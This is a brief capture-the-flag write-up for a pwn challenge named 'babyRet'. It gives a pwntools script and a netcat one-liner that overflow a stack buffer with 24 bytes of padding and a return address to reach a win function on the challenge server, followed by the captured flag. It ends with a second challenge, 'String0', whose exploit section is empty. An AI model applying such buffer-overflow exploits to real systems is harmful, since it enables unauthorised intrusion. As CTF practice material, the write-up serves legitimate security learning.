babyRet

Challenge Description

As promised a pwn challenge...

nc 107.191.51.129 5000

ret0

ret0.c


exploit.py

from pwn import *
shell = remote('107.191.51.129',5000)
shell.sendline(b'A'* 24 + p64(0x4011b3))
shell.interactive()

One line

python2 -c 'print "A" * 24 + "\\xb3\\x11\\x40\\x00\\x00\\x00\\x00\\x00"' | nc 107.191.51.129 5000

Untitled

Flag : wsc{Th0s3_p3sky_STACKS!!!}

String0

Challenge Description

What type of string again?

nc 107.191.51.129 5001 string0


exploit.py